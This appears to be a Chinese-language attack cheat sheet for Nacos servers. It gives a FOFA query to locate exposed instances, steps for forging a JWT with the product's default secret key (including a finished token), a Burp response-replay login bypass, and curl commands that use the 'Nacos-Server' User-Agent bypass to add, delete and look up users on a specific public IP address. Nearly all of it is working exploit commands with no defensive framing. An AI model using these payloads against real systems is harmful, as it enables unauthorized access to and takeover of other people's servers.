FOFA语法
title==“Nacos”JWT网址:https://jwt.io/
时间戳网址:https://tool.lu/timestamp/
工具检测历史漏洞
- 弱口令进入
- 默认配置
1、 DATA填写如下信息【默认填写】
{
“sub”: “nacos”,
“exp”: 1718861212【时间戳最好修改为明天的】
}
2、VERIFY SIGNATURE打勾并填写如下信息【默认填写】
SecretKey0123456789012345678901234567890123456789012345678901234567893
3、最后的结果eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxODg2MTIxMn0.oxfnJa1uHJqcA3bjp0kv4uMZTgQUAynK2pb2kPrYNq0
3、BP发包修改请求体
回到抓包页面==> 右键有个拦截 >拦截该请求>把上面的响应包复制到拦截的响应包里面。回到页面即可跳转
- 未授权绕过
/v1/auth/users?pageNo=1&pageSize=10
添加用户
1、url:/v1/auth/users
body:username=shangxin&password=shangxin
User-Agent:Nacos-Server
2、kali: curl -X POST ‘http://101.42.21.9/v1/auth/usersusername=shangxin&password=shangxin’
-H ‘User-Agent: Nacos-Server’
删除用户
curl -X DELETE “http://101.42.21.9/v1/auth/users?username=shangxin”
查看用户是否添加成功:
1、/v1/auth/search?username=shangxin
2、curl ‘http://101.42.21.9/v1/auth/search?username=shangxin’